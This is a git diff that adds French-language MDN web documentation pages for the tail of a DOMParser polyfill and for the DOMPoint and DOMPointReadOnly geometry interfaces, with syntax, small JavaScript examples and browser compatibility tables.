+	      		<span class="keyword token">if</span> <span class="punctuation token">(</span>markup<span class="punctuation token">.</span><span class="function token">toLowerCase</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">indexOf</span><span class="punctuation token">(</span><span class="string token">'&lt;!doctype'</span><span class="punctuation token">)</span> <span class="operator token">&gt;</span> <span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        			doc<span class="punctuation token">.</span>documentElement<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> markup<span class="punctuation token">;</span>
+      			<span class="punctuation token">}</span>
+      			<span class="keyword token">else</span> <span class="punctuation token">{</span>
+        			doc<span class="punctuation token">.</span>body<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> markup<span class="punctuation token">;</span>
+      			<span class="punctuation token">}</span>
+			<span class="keyword token">return</span> doc<span class="punctuation token">;</span>
+		<span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+			<span class="keyword token">return</span> nativeParse<span class="punctuation token">.</span><span class="function token">apply</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">,</span> arguments<span class="punctuation token">)</span><span class="punctuation token">;</span>
+		<span class="punctuation token">}</span>
+	<span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">(</span>DOMParser<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#the-domparser-interface', 'DOMParser')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi" name="Voir_aussi">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<article class="approved text-content">
+<div class="boxed translate-rendered">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>XML support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>{{CompatIE(9)}}</td>
+   <td>{{CompatOpera(8)}}</td>
+   <td>{{CompatSafari(3.2)}}</td>
+  </tr>
+  <tr>
+   <td>SVG support</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(10.0)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(15)}}</td>
+   <td>{{CompatSafari(3.2)}}</td>
+  </tr>
+  <tr>
+   <td>HTML support</td>
+   <td>{{CompatChrome(30)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(12.0)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(17)}}</td>
+   <td>{{CompatSafari(7.1)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>XML support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>SVG support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(10.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>HTML support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(12.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">Analyse et sérialisation du XML</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li>{{domxref("XMLSerializer")}}</li>
+</ul>
+</div>
+</article>
+
+<article class="localized"> </article>
diff --git a/files/fr/web/api/dompoint/dompoint/index.html b/files/fr/web/api/dompoint/dompoint/index.html
new file mode 100644
index 0000000000..2410a4ca9b
--- /dev/null
+++ b/files/fr/web/api/dompoint/dompoint/index.html
@@ -0,0 +1,123 @@
+---
+title: DOMPoint.DOMPoint()
+slug: Web/API/DOMPoint/DOMPoint
+tags:
+  - API
+  - Constructeurs
+  - DOM
+  - Géométrie
+  - Quadrilatère
+translation_of: Web/API/DOMPoint/DOMPoint
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>Le constructeur <strong><code>DOMPoint()</code></strong> crée un nouvel objet {{domxref("DOMPoint")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var myDOMPoint = new DOMPoint(x, y, z, w);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>x</dt>
+ <dd>La coordonnée <code>x</code> pour le nouveau <code>DOMPoint</code>.</dd>
+ <dt>y</dt>
+ <dd>La coordonnée <code>y</code> pour le nouveau <code>DOMPoint</code>.</dd>
+ <dt>z</dt>
+ <dd>La coordonnée <code>z</code> pour le nouveau <code>DOMPoint</code>.</dd>
+ <dt>w</dt>
+ <dd>La valeur de perspective du nouveau <code>DOMPoint</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour créer un nouveau <code>DOMPoint</code>, vous pourriez exécuter une ligne de code comme celle-ci :</p>
+
+<pre class="brush: js">var myDOMPoint = new DOMPoint(0.4, 0.5, -0.5, 1);
+// le lancement de 'myDOMPoint' dans la console devrait renvoyer
+// DOMPoint { x: 0.4, y: 0.5, z: -0.5, w: 1 }
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-dompoint-dompointx-y-z-w', 'DOMPoint()')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMPoint")}}</li>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/dompoint/index.html b/files/fr/web/api/dompoint/index.html
new file mode 100644
index 0000000000..ffbcea3a5f
--- /dev/null
+++ b/files/fr/web/api/dompoint/index.html
@@ -0,0 +1,158 @@
+---
+title: DOMPoint
+slug: Web/API/DOMPoint
+tags:
+  - API
+  - DOM
+  - Géométrie
+  - Point
+  - Quadrilatère
+translation_of: Web/API/DOMPoint
+---
+<p>{{APIRef("Geometry Interfaces")}}{{ SeeCompatTable() }}</p>
+
+<p>Un <strong><code>DOMPoint</code></strong> représente un point 2D ou 3D dans le système de coordonnées.</p>
+
+<p>En général, un x positif représente une position à droite de l'origine ; un y positif est une position au-dessus de l'origine ; et un z positif est une position vers l'extérieur de l'écran (autrement dit, opposée à la direction de l'utilisateur).</p>
+
+<p>Il hérite de son parent {{domxref("DOMPointReadOnly")}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("DOMPoint.DOMPoint","DOMPoint()")}}</dt>
+ <dd>Crée un nouvel objet <code>DOMPoint</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em><code>DOMPoint</code> hérite des méthodes de son parent {{domxref("DOMPointReadOnly")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("DOMPointReadOnly.fromPoint")}}</dt>
+ <dd>Traduit la position/perspective d'un <code>DOMPoint</code> à une nouvelle position (ne semble pas encore être pris en charge).</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em><code>DOMPoint</code> hérite des propriétés de son parent {{domxref("DOMPointReadOnly")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("DOMPointReadOnly.x")}}</dt>
+ <dd>La coordonnée x du <code>DOMPoint</code>.</dd>
+ <dt>{{domxref("DOMPointReadOnly.y")}}</dt>
+ <dd>La coordonnée y du <code>DOMPoint</code>.</dd>
+ <dt>{{domxref("DOMPointReadOnly.z")}}</dt>
+ <dd>La coordonnée z du <code>DOMPoint</code>.</dd>
+ <dt>{{domxref("DOMPointReadOnly.w")}}</dt>
+ <dd>La valeur de perspective du <code>DOMPoint</code>.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Exemples</h2>
+
+<p>Dans l' <a href="https://developer.mozilla.org/fr/docs/Web/API/WebVR_API">API WebVR</a> (<em>VR = réalité virtuelle</em>), les valeurs <code>DOMPoint</code> sont utilisées pour représenter les points dans l'espace de coordonnées <span id="result_box" lang="fr"><span>dans lequel l'affichage monté sur la tête de l'utilisateur existe.</span></span> Dans l'extrait suivant, la position du VR HMD peut être récupérée en saisissant d'abord une référence à l'état actuel du capteur de position avec {{domxref("PositionSensorVRDevice.getState")}}, puis en accédant au résultat de la  {{domxref("VRPositionState.position","position")}} de la propriété {{domxref("VRPositionState")}}, qui renvoie un <code>DOMPoint</code>. Notez ci-dessous l'utilisation de <code>position.x</code>, <code>position.y</code> et <code>position.z</code>.</p>
+
+<pre class="brush: js">function setView() {
+      var posState = gPositionSensor.getState();
+      if(posState.hasPosition) {
+        posPara.textContent = 'Position: x' + roundToTwo(posState.position.x) + " y"
+                                    + roundToTwo(posState.position.y) + " z"
+                                    + roundToTwo(posState.position.z);
+        xPos = -posState.position.x * WIDTH * 2;
+        yPos = posState.position.y * HEIGHT * 2;
+        if(-posState.position.z &gt; 0.01) {
+          zPos = -posState.position.z;
+        } else {
+          zPos = 0.01;
+        }
+      }
+
+  ...
+
+}</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Voir notre <a href="https://github.com/mdn/webvr-tests/blob/gh-pages/positionsensorvrdevice/index.html">positionsensorvrdevice demo</a> pour le code complet.</p>
+</div>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#DOMPoint', 'DOMPoint')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>Dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(61)}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/dompointreadonly/index.html b/files/fr/web/api/dompointreadonly/index.html
new file mode 100644
index 0000000000..d26edef44d
--- /dev/null
+++ b/files/fr/web/api/dompointreadonly/index.html
@@ -0,0 +1,128 @@
+---
+title: DOMPointReadOnly
+slug: Web/API/DOMPointReadOnly
+tags:
+  - API
+  - DOM
+  - Géométrie
+  - Interface
+  - Quadrilatère
+translation_of: Web/API/DOMPointReadOnly
+---
+<p>{{APIRef("Geometry Interfaces")}}{{ SeeCompatTable() }}</p>
+
+<p>L'interface <strong><code>DOMPointReadOnly</code></strong> spécifie les propriétés standard utilisées par {{domxref("DOMPoint")}} pour définir un point 2D ou 3D dans un système de coordonnées.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("DOMPointReadOnly.DOMPointReadOnly","DOMPointReadOnly()")}}</dt>
+ <dd>Défini pour créer un nouvel objet <code>DOMPointReadOnly</code>, mais notez que ce constructeur ne peut pas être appelé par un JavaScript tiers : ce faisant, il retourne un  typeError "constructeur illégal" .</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("DOMPointReadOnly.fromPoint")}}</dt>
+ <dd>Traduit la position / perspective d'un <code>DOMPoint</code> à une nouvelle position (ne semble pas encore être pris en charge).</dd>
+ <dt>{{domxref("DOMPointReadOnly.matrixTransform")}}</dt>
+ <dd>Applique une transformation matricielle à un objet <code>DOMPointReadOnly</code>  (ne semble pas encore être pris en charge).</dd>
+ <dt>{{domxref("DOMPointReadOnly.toJSON()")}}</dt>
+ <dd>Renvoie une représentation JSON de l'objet <code>DOMPointReadOnly</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("DOMPointReadOnly.x")}} {{readonlyInline}}</dt>
+ <dd>La coordonnée x du <code>DOMPoint</code>.</dd>
+ <dt>{{domxref("DOMPointReadOnly.y")}} {{readonlyInline}}</dt>
+ <dd>La coordonnée y du <code>DOMPoint</code>.</dd>
+ <dt>{{domxref("DOMPointReadOnly.z")}} {{readonlyInline}}</dt>
+ <dd>La coordonnée z du <code>DOMPoint</code>.</dd>
+ <dt>{{domxref("DOMPointReadOnly.w")}} {{readonlyInline}}</dt>
+ <dd>La valeur de perspective du <code>DOMPoint</code>.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#DOMPoint', 'DOMPoint')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMPoint")}}</li>
+ <li>{{domxref("DOMRect")}}</li>
+</ul>
diff --git a/files/fr/web/api/dompointreadonly/w/index.html b/files/fr/web/api/dompointreadonly/w/index.html
new file mode 100644
index 0000000000..f05367c9d9
--- /dev/null
+++ b/files/fr/web/api/dompointreadonly/w/index.html
@@ -0,0 +1,106 @@
+---
+title: DOMPoint.w
+slug: Web/API/DOMPointReadOnly/w
+tags:
+  - API
+  - Coordonnées
+  - DOM
+  - Géométrie
+  - Propriétés
+  - Quadrilatère
+  - W
+translation_of: Web/API/DOMPointReadOnly/w
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>w</strong></code> de l'interface <strong><code>DOMPointReadOnly</code></strong> représente la perspective d'un point.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var perspective = DOMPoint.w;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-dompointreadonly-w', 'w')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMPoint")}}</li>
+</ul>
diff --git a/files/fr/web/api/dompointreadonly/x/index.html b/files/fr/web/api/dompointreadonly/x/index.html
new file mode 100644
index 0000000000..c8ca31f4bf
--- /dev/null
+++ b/files/fr/web/api/dompointreadonly/x/index.html
@@ -0,0 +1,108 @@
+---
+title: DOMPoint.x
+slug: Web/API/DOMPointReadOnly/x
+tags:
+  - API
+  - Coordonnées
+  - DOM
+  - Géométrie
+  - Propriétés
+  - Quadrilatère
+  - x
+translation_of: Web/API/DOMPointReadOnly/x
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>x</strong></code> de l'interface <strong><code>DOMPointReadOnly</code></strong> représente la coordonnée x d'un point.</p>
+
+<p>En général, x positif signifie à droite et négatif à gauche (par rapport à l'origine).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var xPos = DOMPoint.x;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-dompointreadonly-x', 'x')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMPoint")}}</li>
+</ul>
diff --git a/files/fr/web/api/dompointreadonly/y/index.html b/files/fr/web/api/dompointreadonly/y/index.html
new file mode 100644
index 0000000000..60c98fd793
--- /dev/null
+++ b/files/fr/web/api/dompointreadonly/y/index.html
@@ -0,0 +1,108 @@
+---
+title: DOMPoint.y
+slug: Web/API/DOMPointReadOnly/y
+tags:
+  - API
+  - Coordonnées
+  - DOM
+  - Géométrie
+  - Propriétés
+  - Quadrilatère
+  - 'y'
+translation_of: Web/API/DOMPointReadOnly/y
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>y</strong></code> de l'interface <strong><code>DOMPointReadOnly</code></strong> représente la coordonnée y d'un point.</p>
+
+<p>En général, y positif signifie en haut et négatif en bas (par rapport à l'origine).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var yPos = DOMPoint.y;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Geometry Interfaces', '#dom-dompointreadonly-y', 'y')}}</td>
+   <td>{{Spec2('Geometry Interfaces')}}</td>
+   <td>La dernière version de la spécification est un ED.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<br>
+    <br>
+     </td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>{{ CompatNo }}</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMPoint")}}</li>
+</ul>
diff --git a/files/fr/web/api/dompointreadonly/z/index.html b/files/fr/web/api/dompointreadonly/z/index.html
new file mode 100644
index 0000000000..d8e6fc96bf
--- /dev/null
+++ b/files/fr/web/api/dompointreadonly/z/index.html
@@ -0,0 +1,109 @@
+---
+title: DOMPoint.z
+slug: Web/API/DOMPointReadOnly/z
+tags:
+  - API
+  - Coordonnées
+  - DOM
+  - Géométrie
+  - Point
+  - Propriétés
+  - Quadrilatère
+  - z
+translation_of: Web/API/DOMPointReadOnly/z
+---
+<p>{{APIRef("DOM")}}{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>z</strong></code> de l'interface <strong><code>DOMPointReadOnly</code></strong> représente la coordonnée z d'un point.</p>
+
+<p>En général, z positif signifie vers l'extérieur de l'écran (autrement dit, opposée à la direction de l'utilisateur) et négatif vers l'intérieur de l'écran (dans la même direction que l'utilisateur).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var zPos = DOMPoint.z;</pre>
+
+<h3 id="Specification" name="Specification">Valeur</h3>
+
+<p>Un double.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
